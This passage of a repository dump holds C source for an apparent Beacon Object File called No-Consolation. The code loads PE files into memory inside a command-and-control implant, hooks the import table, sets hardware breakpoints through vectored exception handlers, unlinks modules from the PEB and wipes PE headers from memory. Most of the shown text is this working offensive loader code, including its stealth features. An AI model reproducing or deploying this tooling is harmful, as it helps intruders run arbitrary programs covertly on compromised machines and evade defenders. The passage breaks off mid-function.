if (peinfo && peinfo->modified_console_handle)\n        set_console_handle(peinfo->original_console_handle);\n\n    if (peinfo && peinfo->modified_console_reference)\n        *(PHANDLE)peinfo->console_reference_addr = peinfo->original_console_reference;\n\n    if (peinfo && peinfo->hThread && !peinfo->inthread)\n    {\n        TerminateThread(peinfo->hThread, 0);\n        NtClose(peinfo->hThread);\n    }\n\n    // free all dependencies\n    lib_loaded = (PLIB_LOADED)libs_loaded->list.Flink;\n    while (&lib_loaded->list != &libs_loaded->list)\n    {\n        lib_tmp = (PLIB_LOADED)lib_loaded->list.Flink;\n\n        if (!lib_loaded->peinfo->dont_unload && lib_loaded->peinfo->custom_loaded)\n        {\n            unload_dependency(lib_loaded->peinfo);\n            unlink_from_list(&lib_loaded->list);\n\n            memset(lib_loaded->peinfo, 0, sizeof(LOADED_PE_INFO));\n            intFree(lib_loaded->peinfo);\n            memset(lib_loaded, 0, sizeof(LIB_LOADED));\n            intFree(lib_loaded);\n        }\n\n        lib_loaded = lib_tmp;\n    }\n\n    if (unload_libs)\n    {\n        lib_loaded = (PLIB_LOADED)libs_loaded->list.Flink;\n        while (&lib_loaded->list != &libs_loaded->list)\n        {\n            lib_tmp = (PLIB_LOADED)lib_loaded->list.Flink;\n\n            DPRINT(\"unload_libs: %s, lib_loaded->name: %s\", unload_libs, lib_loaded->name);\n            if (string_is_included(unload_libs, lib_loaded->name))\n            {\n                PRINT(\"unloaded %s\", lib_loaded->name);\n                if (lib_loaded->peinfo->custom_loaded)\n                    unload_dependency(lib_loaded->peinfo);\n                else\n                    FreeLibrary(lib_loaded->address);\n\n                unlink_from_list(&lib_loaded->list);\n                memset(lib_loaded->peinfo, 0, sizeof(LOADED_PE_INFO));\n                intFree(lib_loaded->peinfo);\n                memset(lib_loaded, 0, sizeof(LIB_LOADED));\n                intFree(lib_loaded);\n            }\n\n            lib_loaded = lib_tmp;\n        }\n    }\n\n    if (peinfo && !peinfo->dont_unload)\n    {\n        unload_dependency(peinfo);\n        memset(peinfo, 0, sizeof(LOADED_PE_INFO));\n        intFree(peinfo);\n    }\n\n    BeaconRemoveValue(NC_PE_INFO_KEY);\n\n    return 0;\n}\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/source/hwbp.c",
    "content": "\n#include \"hwbp.h\"\n#include \"peb.h\"\n\nULONG_PTR set_bits(\n    IN ULONG_PTR dw,\n    IN int lowBit,\n    IN int bits,\n    IN ULONG_PTR newValue)\n{\n    ULONG_PTR mask = (1UL << bits) - 1UL;\n    dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);\n    return dw;\n}\n\nBOOL enable_breakpoint(\n    OUT CONTEXT* ctx,\n    IN PVOID address,\n    IN int index)\n{\n    switch (index)\n    {\n        case 0:\n            ctx->Dr0 = (ULONG_PTR)address;\n            break;\n        case 1:\n            ctx->Dr1 = (ULONG_PTR)address;\n            break;\n        case 2:\n            ctx->Dr2 = (ULONG_PTR)address;\n            break;\n        case 3:\n            ctx->Dr3 = (ULONG_PTR)address;\n            break;\n        default:\n            DPRINT(\"Invalid index: %d\", index);\n            return FALSE;\n    }\n\n    ctx->Dr7 = set_bits(ctx->Dr7, 16, 16, 0);\n    ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 1);\n\n    return TRUE;\n}\n\nVOID clear_breakpoint(\n    IN CONTEXT* ctx,\n    IN DWORD index)\n{\n    // Clear the releveant hardware breakpoint\n    switch (index)\n    {\n        case 0:\n            ctx->Dr0 = 0;\n            break;\n        case 1:\n            ctx->Dr1 = 0;\n            break;\n        case 2:\n            ctx->Dr2 = 0;\n            break;\n        case 3:\n            ctx->Dr3 = 0;\n            break;\n    }\n\n    ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 0);\n    ctx->Dr6 = 0;\n    ctx->EFlags = 0;\n}\n\nBOOL set_hwbp(\n    IN HANDLE hThread,\n    IN PVOID address,\n    IN exception_callback hwbp_handler,\n    IN UINT32 index,\n    OUT PHANDLE phHwBpHandler)\n{\n    BOOL     ret_val      = FALSE;\n    NTSTATUS status       = STATUS_UNSUCCESSFUL;\n    HANDLE   hHwBpHandler = NULL;\n    CONTEXT  threadCtx    = { 0 };\n\n    memset(&threadCtx, 0, sizeof(threadCtx));\n    threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS;\n\n    PVOID (WINAPI* RtlAddVectoredExceptionHandler) (ULONG, exception_callback) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"RtlAddVectoredExceptionHandler\", 0);\n    if (!RtlAddVectoredExceptionHandler)\n    {\n        api_not_found(\"RtlAddVectoredExceptionHandler\");\n        goto Cleanup;\n    }\n\n    hHwBpHandler = RtlAddVectoredExceptionHandler(1, hwbp_handler);\n    if (!hHwBpHandler)\n    {\n        function_failed(\"RtlAddVectoredExceptionHandler\");\n        goto Cleanup;\n    }\n\n    status = NtGetContextThread(hThread, &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtGetContextThread\", status);\n        goto Cleanup;\n    }\n\n    if (!enable_breakpoint(&threadCtx, address, index))\n        goto Cleanup;\n\n    status = NtSetContextThread(hThread, &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetContextThread\", status);\n        goto Cleanup;\n    }\n\n    if (phHwBpHandler)\n        *phHwBpHandler = hHwBpHandler;\n\n    ret_val = TRUE;\n\nCleanup:\n    return ret_val;\n}\n\nVOID remove_hwbp_handler(\n    IN HANDLE hHwBpHandler)\n{\n    if (!hHwBpHandler)\n        return;\n\n    ULONG (WINAPI* RtlRemoveVectoredExceptionHandler) (PVOID) = xGetProcAddress(xGetLibAddress(\"ntdll\", TRUE, NULL), \"RtlRemoveVectoredExceptionHandler\", 0);\n    if (!RtlRemoveVectoredExceptionHandler)\n    {\n        api_not_found(\"RtlRemoveVectoredExceptionHandler\");\n        return;\n    }\n\n    if (!RtlRemoveVectoredExceptionHandler(hHwBpHandler))\n    {\n        function_failed(\"RtlRemoveVectoredExceptionHandler\");\n    }\n}\n\nVOID unset_hwbp(\n    IN HANDLE hThread,\n    IN UINT32 index)\n{\n    NTSTATUS status    = STATUS_UNSUCCESSFUL;\n    CONTEXT  threadCtx = { 0 };\n\n    memset(&threadCtx, 0, sizeof(threadCtx));\n    threadCtx.ContextFlags = CONTEXT_ALL;\n\n    status = NtGetContextThread(hThread, &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtGetContextThread\", status);\n        goto cleanup;\n    }\n\n    clear_breakpoint(&threadCtx, index);\n\n    status = NtSetContextThread(hThread, &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetContextThread\", status);\n        goto cleanup;\n    }\n\ncleanup:\n    return;\n}\n"
  },
  {
    "path": "Execution-BOF/No-Consolation/source/loader.c",
    "content": "\n#include \"loader.h\"\n\nVOID unload_dependency(\n    IN PLOADED_PE_INFO peinfo)\n{\n    //DllMain_t DllMain = NULL;\n    NTSTATUS  status  = STATUS_UNSUCCESSFUL;\n    //FP        fp      = { 0 };\n\n    if (!peinfo || !peinfo->pe_base)\n        return;\n\n    if (!peinfo->dont_unload && peinfo->custom_loaded)\n    {\n        if (peinfo->is_dll && peinfo->DllMain)\n        {\n            /*\n             * Calling DllMain with DLL_PROCESS_DETACH seems to break future\n             * loads of mscoree.dll, so we avoid it\n             */\n\n            //DPRINT(\"Executing DllMain(hinstDLL, DLL_PROCESS_DETACH, NULL) for %s\", peinfo->pe_name);\n            //DllMain = peinfo->DllMain;\n            //DllMain(peinfo->pe_base, DLL_PROCESS_DETACH, NULL);\n        }\n\n        /*\n        if (!peinfo->is_dependency && peinfo->handled_tls)\n        {\n            fp.ptr = find_ldrp_release_tls_entry();;\n            if (fp.ptr)\n                fp.thiscall(peinfo->ldr_entry);\n        }\n        /*/\n\n#ifdef _WIN64\n        if (peinfo->func_table)\n            remove_inverted_function_table_entry(peinfo->func_table);\n#endif\n\n        if (peinfo->linked)\n            unlink_module(peinfo->ldr_entry);\n\n        if (peinfo->ldr_entry)\n        {\n            memset(((PLDR_DATA_TABLE_ENTRY2)peinfo->ldr_entry)->BaseDllName.Buffer, 0, sizeof(WCHAR) * MAX_PATH);\n            intFree(((PLDR_DATA_TABLE_ENTRY2)peinfo->ldr_entry)->BaseDllName.Buffer);\n            memset(((PLDR_DATA_TABLE_ENTRY2)peinfo->ldr_entry)->FullDllName.Buffer, 0, sizeof(WCHAR) * MAX_PATH);\n            intFree(((PLDR_DATA_TABLE_ENTRY2)peinfo->ldr_entry)->FullDllName.Buffer);\n            memset(peinfo->ldr_entry, 0, sizeof(PLDR_DATA_TABLE_ENTRY2));\n            intFree(peinfo->ldr_entry);\n        }\n\n        if (peinfo->pe_base)\n        {\n            peinfo->pe_size = 0;\n            status = NtFreeVirtualMemory(NtCurrentProcess(), &peinfo->pe_base, &peinfo->pe_size, MEM_RELEASE);\n            if (!NT_SUCCESS(status))\n            {\n                syscall_failed(\"NtFreeVirtualMemory\", status);\n                PRINT_ERR(\"Failed to cleanup PE from memory\");\n            }\n        }\n    }\n}\n\nBOOL find_dll(\n    IN PLOADED_PE_INFO dep,\n    IN LPSTR dll_name,\n    OUT PVOID* pe_bytes,\n    OUT int* pe_length)\n{\n    LPSTR search_paths      = dep->search_paths ? dep->search_paths : \"C:\\\\Windows\\\\System32\\\\\\0\";\n    CHAR  pe_path[MAX_PATH] = { 0 };\n    DWORD i                 = 0;\n\n    for (;;)\n    {\n        // store string until null byte, semi-colon or comma encountered\n        for (i = 0; search_paths[i] != '\\0' &&\n                    search_paths[i] != ';' &&\n                    search_paths[i] != ','; i++) pe_path[i] = search_paths[i];\n        // nothing stored? end\n        if (i == 0) break;\n        // skip name plus one for separator\n        search_paths += (i + 1);\n        // ensure the path ends with a backslash\n        if (pe_path[i-1] != '\\\\')\n        {\n            pe_path[i] = '\\\\';\n            i++;\n        }\n        // store null terminator\n        pe_path[i] = '\\0';\n        // add the name of the DLL\n        StringConcatA(pe_path, dll_name);\n        // try to read the PE\n        if (read_local_pe(pe_path, pe_bytes, pe_length))\n        {\n            // set the PE path\n            CharStringToWCharString(dep->pe_wpath, pe_path, MAX_PATH);\n            return TRUE;\n        }\n    }\n\n    DPRINT_ERR(\"Failed to find %s\", dll_name);\n\n    return FALSE;\n}\n\nBOOL load_dependency(\n    IN PLOADED_PE_INFO dep,\n    IN LPSTR dll_name)\n{\n    PVOID pe_bytes  = NULL;\n    int   pe_length = 0;\n\n    if (!find_dll(dep, dll_name, &pe_bytes, &pe_length))\n        return FALSE;\n\n    return load_pe(pe_bytes, pe_length, dep);\n}\n\nPVOID handle_dependency(\n    IN PLOADED_PE_INFO peinfo,\n    IN LPSTR dll_name)\n{\n    LPSTR           name        = NULL;\n    BOOL            api_set_ok  = FALSE;\n    PVOID           dll         = NULL;\n    PLOADED_PE_INFO dep         = NULL;\n    PLIB_LOADED     lib_loaded  = NULL;\n    PLIBS_LOADED    libs_loaded = NULL;\n\n    // resolve the API Set\n    name = api_set_resolve(dll_name);\n    api_set_ok = name != NULL;\n    if (!api_set_ok)\n        name = dll_name;\n\n    // if the name is empty, just return (this happens with ext-ms-win32-subsystem-query-l1-1-0.dll)\n    if (name[0] == '\\0') return NULL;\n\n    // check if the DLL is already loaded\n    dll = xGetLibAddress(name, FALSE, NULL);\n\n    if (!dll)\n    {\n        /*\n         * Here we handle a peculiar edge case:\n         * 1) we are loading mprext.dll and realize it requires MPR.dll\n         * 2) we start loading MPR.dll and realize it requires mprext.dll\n         * 3) we then find the incomplete load of mprext.dll in memory and parse it\n         *    in order to find the addresses of its exported functions\n         * 4) we finish loading MPR.dll\n         * 5) we finish loading mprext.dll\n         */\n\n        libs_loaded = BeaconGetValue(NC_LOADED_DLL_KEY);\n\n        lib_loaded = (PLIB_LOADED)libs_loaded->list.Flink;\n        while (&lib_loaded->list != &libs_loaded->list)\n        {\n            if (!_stricmp(lib_loaded->peinfo->pe_name, name))\n            {\n                // found it\n                if (!lib_loaded->peinfo->pe_base && !lib_loaded->peinfo->custom_loaded)\n                {\n                    /*\n                     * We loaded this DLL via LoadLibrary before and it returned 0x0.\n                     * Simply return 0x0 as this DLL does not seem to exist\n                     */\n\n                    return NULL;\n                }\n\n                // return its base\n                dll = lib_loaded->peinfo->pe_base;\n                break;\n            }\n\n            lib_loaded = (PLIB_LOADED)lib_loaded->list.Flink;\n        }\n    }\n\n    if (!dll && peinfo)\n    {\n        dep = intAlloc(sizeof(LOADED_PE_INFO));\n        StringCopyA(dep->pe_name, name);\n        CharStringToWCharString(dep->pe_wname, name, MAX_PATH);\n        dep->link_to_peb   = peinfo->link_to_peb;\n        dep->dont_unload   = peinfo->dont_unload;\n        dep->is_dependency = TRUE;\n        dep->load_all_deps = peinfo->load_all_deps;\n        dep->load_all_deps_but = peinfo->load_all_deps_but;\n        dep->load_deps     = peinfo->load_deps;\n        dep->search_paths  = peinfo->search_paths;\n\n        store_loaded_dll(dep, dll, name);\n    }\n\n    // if not already loaded, custom load it if the operator so chooses\n    if (!dll && peinfo &&\n        (peinfo->load_all_deps ||\n        (peinfo->load_all_deps_but && !string_is_included(peinfo->load_all_deps_but, name)) ||\n        (peinfo->load_deps && string_is_included(peinfo->load_deps, name))))\n    {\n\n        DPRINT(\"%s depends on %s, custom loading...\", peinfo->pe_name, name);\n        if (load_dependency(dep, name))\n        {\n            DPRINT(\"Finished loading %s, continuing with %s\", name, peinfo->pe_name);\n            dep->custom_loaded = TRUE;\n            dll = dep->pe_base;\n        }\n        else\n        {\n            PRINT_ERR(\"Failed to custom load %s\", name);\n        }\n    }\n\n    // fallback to LoadLibrary\n    if (!dll)\n    {\n        dll = LoadLibraryA(name);\n        if (peinfo)\n        {\n            DPRINT(\"Loaded %s via LoadLibrary at 0x%p, continuing with %s\", name, dll, peinfo->pe_name);\n        }\n        else\n        {\n            DPRINT(\"Loaded %s via LoadLibrary at 0x%p\", name, dll);\n        }\n        if (dep)\n        {\n            dep->custom_loaded = FALSE;\n            dep->pe_base       = dll;\n        }\n    }\n\n    if (api_set_ok)\n    {\n        memset(name, 0, MAX_PATH);\n        intFree(name);\n    }\n\n    return dll;\n}\n\nPVOID handle_import(\n    IN PLOADED_PE_INFO peinfo,\n    IN PVOID dll_base,\n    IN LPSTR dll_name,\n    IN LPSTR api_name)\n{\n    PVOID address = NULL;\n\n    /*\n     * Here we implement our IAT hooking.\n     * If the PE was run with --dont-unload, we don't redirect imports\n     * to this BOF, as this will be offloaded soon.\n     */\n\n    // if this is an exit-related API, replace it with RtlExitUserThread\n    if (IsExitAPI(api_name))\n    {\n        DPRINT(\"IAT hooking %s!%s with rtl_exit_user_thread\", dll_name ? dll_name : \"?\", api_name);\n        address = rtl_exit_user_thread;\n    }\n    // some PEs search for exit-related APIs using GetProcAddress\n    else if (peinfo && !peinfo->dont_unload && !peinfo->is_dependency && !_stricmp(api_name, \"GetProcAddress\"))\n    {\n        DPRINT(\"IAT hooking %s!%s with my_get_proc_address\", dll_name ? dll_name : \"?\", api_name);\n        address = my_get_proc_address;\n    }\n    // PEs call GetModuleHandleW(NULL), we ensure this returns their base address\n    else if (peinfo && !peinfo->dont_unload && !peinfo->is_dependency && !_stricmp(api_name, \"GetModuleHandleW\"))\n    {\n        DPRINT(\"IAT hooking %s!%s with my_get_module_handle_w\", dll_name ? dll_name : \"?\", api_name);\n        address = my_get_module_handle_w;\n    }\n    // resolve the API without IAT hook\n    else\n    {\n        address = xGetProcAddress(dll_base, api_name, 0);\n    }\n\n    if (!address)\n    {\n        DPRINT_ERR(\"Failed get address of %s!%s\", dll_name ? dll_name : \"?\", api_name);\n    }\n\n    return address;\n}\n\nBOOL load_pe(\n    IN PVOID pedata,\n    IN UINT32 pelen,\n    IN OUT PLOADED_PE_INFO peinfo)\n{\n    PIMAGE_DOS_HEADER           dos         = NULL;\n    PIMAGE_NT_HEADERS           nt          = NULL;\n    PIMAGE_NT_HEADERS           ntnew       = NULL;\n    PIMAGE_SECTION_HEADER       sh          = NULL;\n    PIMAGE_THUNK_DATA           oft         = NULL;\n    PIMAGE_THUNK_DATA           ft          = NULL;\n    PIMAGE_IMPORT_BY_NAME       ibn         = NULL;\n    PIMAGE_IMPORT_DESCRIPTOR    imp         = NULL;\n    PIMAGE_DELAYLOAD_DESCRIPTOR del         = NULL;\n    PIMAGE_EXPORT_DIRECTORY     exp         = NULL;\n    PIMAGE_TLS_DIRECTORY        tls         = NULL;\n    PIMAGE_TLS_CALLBACK         *callbacks  = NULL;\n    PIMAGE_RELOC                list        = NULL;\n    PIMAGE_BASE_RELOCATION      ibr         = NULL;\n#ifdef _WIN64\n    PRUNTIME_FUNCTION           func_table  = NULL;\n#endif\n    DWORD                       rva         = 0;\n    DWORD                       size        = 0;\n    PDWORD                      adr         = NULL;\n    PDWORD                      sym         = NULL;\n    PWORD                       ord         = NULL;\n    PBYTE                       ofs         = NULL;\n    PCHAR                       str         = NULL;\n    PCHAR                       name        = NULL;\n    HMODULE                     dll         = NULL;\n    LPVOID                      base        = NULL;\n    DWORD                       i           = 0;\n    DWORD                       cnt         = 0;\n    PVOID                       baseAddress = NULL;\n    SIZE_T                      numBytes    = 0;\n    DWORD                       newprot     = 0;\n    DWORD                       oldprot     = 0;\n    NTSTATUS                    status      = STATUS_UNSUCCESSFUL;\n    PVOID                       pe_base     = NULL;\n    SIZE_T                      pe_size     = 0;\n    BOOL                        has_reloc   = FALSE;\n    DllMain_t                   DllMain     = NULL;\n    FP                          fp          = { 0 };\n\n    if (!is_pe(pedata))\n    {\n        DPRINT_ERR(\"The data is not a PE\");\n        goto Cleanup;\n    }\n\n    peinfo->is_dll = is_dll(pedata);\n\n    base = pedata;\n    dos  = (PIMAGE_DOS_HEADER)base;\n    nt   = RVA2VA(PIMAGE_NT_HEADERS, base, dos->e_lfanew);\n\n    if (nt->FileHeader.Machine != MACHINE)\n    {\n        PRINT_ERR(\"Host process and PE are not compatible\");\n        goto Cleanup;\n    }\n\n    // check if the binary has relocation information\n    size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;\n    has_reloc = size == 0 ? FALSE : TRUE;\n    if (!has_reloc)\n    {\n        pe_base = (PVOID)nt->OptionalHeader.ImageBase;\n        DPRINT(\"No relocation information present, setting the base to: 0x%p\", pe_base);\n    }\n\n    pe_size = nt->OptionalHeader.SizeOfImage;\n    status = NtAllocateVirtualMemory(NtCurrentProcess(), &pe_base, 0, &pe_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);\n    if (!NT_SUCCESS(status))\n    {\n        pe_base = NULL;\n        syscall_failed(\"NtAllocateVirtualMemory\", status);\n        PRINT_ERR(\"Failed to allocate PE, address 0x%p seems to be in use\", pe_base);\n        goto Cleanup;\n    }\n\n    DPRINT(\"Mapped at 0x%p - 0x%p\", pe_base, RVA2VA(PVOID, pe_base, pe_size));\n\n    DPRINT(\"Copying Headers\");\n    memcpy(pe_base, base, nt->OptionalHeader.SizeOfHeaders);\n\n    ntnew = RVA2VA(PIMAGE_NT_HEADERS, pe_base, dos->e_lfanew);\n    ntnew->OptionalHeader.ImageBase = (ULONG_PTR)pe_base;\n\n    DPRINT(\"Copying each section to memory\");\n    sh = IMAGE_FIRST_SECTION(ntnew);\n\n    for (i = 0; i < ntnew->FileHeader.NumberOfSections; i++)\n    {\n        PBYTE dest = (PBYTE)pe_base + sh[i].VirtualAddress;\n        PBYTE source = (PBYTE)base + sh[i].PointerToRawData;\n\n        // Copy the section data\n        memcpy(dest,\n            source,\n            sh[i].SizeOfRawData);\n\n        DPRINT(\"Copied %s at 0x%p\", sh[i].Name, dest);\n    }\n\n    peinfo->pe_base = pe_base;\n    peinfo->pe_size = pe_size;\n\n    ofs  = (PBYTE)pe_base - nt->OptionalHeader.ImageBase;\n\n    if (has_reloc && ofs != 0)\n    {\n        DPRINT(\"Applying Relocations\");\n\n        rva  = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;\n        ibr = RVA2VA(PIMAGE_BASE_RELOCATION, pe_base, rva);\n\n        while ((PBYTE)ibr < ((PBYTE)pe_base + rva + size) && ibr->SizeOfBlock != 0)\n        {\n            list = (PIMAGE_RELOC)(ibr + 1);\n\n            while ((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock)\n            {\n                // check that the RVA is within the boundaries of the PE\n                if (ibr->VirtualAddress + list->offset < ntnew->OptionalHeader.SizeOfImage)\n                {\n                    PULONG_PTR address = (PULONG_PTR)((PBYTE)pe_base + ibr->VirtualAddress + list->offset);\n                    if (list->type == IMAGE_REL_BASED_DIR64) {\n                        *address += (ULONG_PTR)ofs;\n                    } else if (list->type == IMAGE_REL_BASED_HIGHLOW) {\n                        *address += (DWORD)(ULONG_PTR)ofs;\n                    } else if (list->type == IMAGE_REL_BASED_HIGH) {\n                        *address += HIWORD(ofs);\n                    } else if (list->type == IMAGE_REL_BASED_LOW) {\n                        *address += LOWORD(ofs);\n                    } else if (list->type != IMAGE_REL_BASED_ABSOLUTE) {\n                        DPRINT_ERR(\"ERROR: Unrecognized Relocation type %08lx.\", list->type);\n                        goto Cleanup;\n                    }\n                }\n                list++;\n            }\n            ibr = (PIMAGE_BASE_RELOCATION)list;\n        }\n    }\n\n#ifdef _WIN64\n    rva  = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;\n\n    if (rva != 0)\n    {\n        /*\n         * In this section, we try to add support for C++ Exceptions.\n         * To achieve this, we update the inverted function table\n         * given that this memory structure is (for some reason) important\n         * while dealing with exceptions.\n         */\n\n        func_table = RVA2VA(PRUNTIME_FUNCTION, pe_base, rva);\n        size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;\n\n        // most PE loaders do this but I haven't found it useful\n        //RtlAddFunctionTable(func_table, size / sizeof(RUNTIME_FUNCTION), pe_base);\n\n        if (!insert_inverted_function_table_entry(pe_base, pe_size, func_table, size))\n        {\n            DPRINT(\"Failed to insert new entry in the inverted function table\");\n            goto Cleanup;\n        }\n\n        // remember the function table so we can cleanup later\n        peinfo->func_table = func_table;\n    }\n#endif\n\n    rva = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;\n\n    if (rva != 0)\n    {\n        DPRINT(\"Processing the Import Table\");\n\n        imp = RVA2VA(PIMAGE_IMPORT_DESCRIPTOR, pe_base, rva);\n\n        // For each DLL\n        for (; imp->Name != 0; imp++)\n        {\n            name = RVA2VA(PCHAR, pe_base, imp->Name);\n\n            dll = handle_dependency(peinfo, name);\n            if (!dll)\n            {\n                DPRINT_ERR(\"Failed to load %s\", name);\n                goto Cleanup;\n            }\n\n            // remember if msvcrt gets loaded\n            if (!_stricmp(name, \"msvcrt.dll\"))\n                peinfo->loaded_msvcrt   = TRUE;\n            // remember if mscoree gets loaded\n            if (!_stricmp(name, \"mscoree.dll\"))\n                peinfo->loaded_mscoree  = TRUE;\n            // remember if ucrtbase gets loaded\n            if (!_stricmp(name, \"ucrtbase.dll\") || !strncmp(name, \"api-ms-win-crt\", 14))\n                peinfo->loaded_ucrtbase = TRUE;\n\n            // Resolve the API for this library\n            oft = RVA2VA(PIMAGE_THUNK_DATA, pe_base, imp->OriginalFirstThunk);\n            ft  = RVA2VA(PIMAGE_THUNK_DATA, pe_base, imp->FirstThunk);\n\n            // For each API\n            for (;; oft++, ft++)\n            {\n                // No API left?\n                if (oft->u1.AddressOfData == 0) break;\n\n                // Resolve by ordinal?\n                if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal))\n                {\n                    ft->u1.Function = (ULONG_PTR)xGetProcAddress(dll, NULL, oft->u1.Ordinal);\n                    if (!ft->u1.Function)\n                    {\n                        DPRINT_ERR(\"Failed get address of ordinal %d from %s\", oft->u1.Ordinal, name);\n                        goto Cleanup;\n                    }\n                }\n                else\n                {\n                    // Resolve by name\n                    ibn = RVA2VA(PIMAGE_IMPORT_BY_NAME, pe_base, oft->u1.AddressOfData);\n                    ft->u1.Function = (ULONG_PTR)handle_import(peinfo, dll, name, ibn->Name);\n\n                    if (!ft->u1.Function)\n                        goto Cleanup;\n                }\n            }\n        }\n    }\n\n    rva = ntnew->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].VirtualAddress;\n\n    if (rva != 0)\n    {\n        DPRINT(\"Processing Delayed Import Table\");\n\n        del = RVA2VA(PIMAGE_DELAYLOAD_DESCRIPTOR, pe_base, rva);\n\n        // For each DLL\n        for (; del->DllNameRVA != 0; del++)\n        {\n            name = RVA2VA(PCHAR, pe_base, del->DllNameRVA);\n\n            dll = handle_dependency(peinfo, name);\n            if (dll == NULL) continue;\n\n            // Resolve the API for this library\n            oft = RVA2VA(PIMAGE_THUNK_DATA, pe_base, del->ImportNameTableRVA);\n            ft  = RVA2VA(PIMAGE_THUNK_DATA, pe_base, del->ImportAddressTableRVA);\n\n            // For each API\n            for (;; oft++, ft++)\n            {\n                // No API left?\n                if (oft->u1.AddressOfData == 0) break;\n\n                if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal))\n                {\n                    // Resolve by ordinal\n                    ft->u1.Function = (ULONG_PTR)xGetProcAddress(dll, NULL, oft->u1.Ordinal);\n                }\n                else\n                {\n                    // Resolve by name\n                    ibn = RVA2VA(PIMAGE_IMPORT_BY_NAME, pe_base, oft->u1.AddressOfData);\n                    ft->u1.Function = (ULONG_PTR)handle_import(peinfo, dll, name, ibn->Name);\n                }\n            }\n        }\n    }\n\n    DPRINT(\"Setting permissions for each PE section\");\n    for (i = 0; i < nt->FileHeader.NumberOfSections; i++)\n    {\n        if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE)\n            newprot = PAGE_WRITECOPY;\n\n        if (sh[i].Characteristics & IMAGE_SCN_MEM_READ)\n            newprot = PAGE_READONLY;\n\n        if ((sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (sh[i].Characteristics & IMAGE_SCN_MEM_READ))\n            newprot = PAGE_READWRITE;\n\n        if (sh[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)\n            newprot = PAGE_EXECUTE;\n\n        if ((sh[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE))\n            newprot = PAGE_EXECUTE_WRITECOPY;\n\n        if ((sh[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sh[i].Characteristics & IMAGE_SCN_MEM_READ))\n            newprot = PAGE_EXECUTE_READ;\n\n        if ((sh[i].Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( sh[i].Characteristics & IMAGE_SCN_MEM_WRITE ) && ( sh[i].Characteristics & IMAGE_SCN_MEM_READ ) )\n            newprot = PAGE_EXECUTE_READWRITE;\n\n        baseAddress = RVA2VA(PVOID, pe_base, sh[i].VirtualAddress);\n        numBytes    = sh[i].SizeOfRawData;\n\n        DPRINT(\"Section name: %s, size, 0x%llX, protections: 0x%X\", sh[i].Name, numBytes, newprot);\n\n        if (!numBytes)\n            continue;\n\n        status = NtProtectVirtualMemory(NtCurrentProcess(), &baseAddress, &numBytes, newprot, &oldprot);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtProtectVirtualMemory\", status);\n            goto Cleanup;\n        }\n    }\n\n    if (peinfo->headers)\n    {\n        DPRINT(\"Wiping Headers from memory\");\n        memset(pe_base, 0, nt->OptionalHeader.SizeOfHeaders);\n    }\n\n    // declare variables and set permissions of module header\n    DPRINT(\"Setting permissions of module headers to READONLY (%d bytes)\", nt->OptionalHeader.BaseOfCode);\n    oldprot = 0;\n\n    baseAddress = pe_base;\n    numBytes    = nt->OptionalHeader.BaseOfCode;\n    status = NtProtectVirtualMemory(NtCurrentProcess(), &baseAddress, &numBytes, PAGE_READONLY, &oldprot);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtProtectVirtualMemory\", status);\n        goto Cleanup;\n    }\n\n    DPRINT(\"Flushing instructionCache\");\n    status = NtFlushInstructionCache(NtCurrentProcess(), NULL, 0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtFlushInstructionCache\", status);\n        goto Cleanup;\n    }\n\n    // find the entry point of the PE\n    if (peinfo->is_dll)\n    {\n        // some DLLs don't have an entry point\n        if (nt->OptionalHeader.AddressOfEntryPoint)\n            peinfo->DllMain = RVA2VA(PVOID, pe_base, nt->OptionalHeader.AddressOfEntryPoint);\n        else\n            peinfo->DllMain = NULL;\n\n        if (peinfo->method)\n        {\n            DPRINT(\"Resolving address of %s\", peinfo->method);\n\n            rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\n            exp = RVA2VA(PIMAGE_EXPORT_DIRECTORY, pe_base, rva);\n\n            if (rva != 0)\n            {\n                cnt = exp->NumberOfNames;\n\n                if (cnt != 0)\n                {\n                    adr = RVA2VA(PDWORD,pe_base, exp->AddressOfFunctions);\n                    sym = RVA2VA(PDWORD,pe_base, exp->AddressOfNames);\n                    ord = RVA2VA(PWORD, pe_base, exp->AddressOfNameOrdinals);\n\n                    do {\n                        str = RVA2VA(PCHAR, pe_base, sym[cnt-1]);\n                        if (!_stricmp(str, peinfo->method))\n                        {\n                            peinfo->DllParam = RVA2VA(PVOID, pe_base, adr[ord[cnt-1]]);\n                            break;\n                        }\n                    } while (--cnt);\n\n                    if (!peinfo->DllParam)\n                    {\n                        DPRINT_ERR(\"Unable to resolve %s\", peinfo->method);\n                        goto Cleanup;\n                    }\n                }\n            }\n        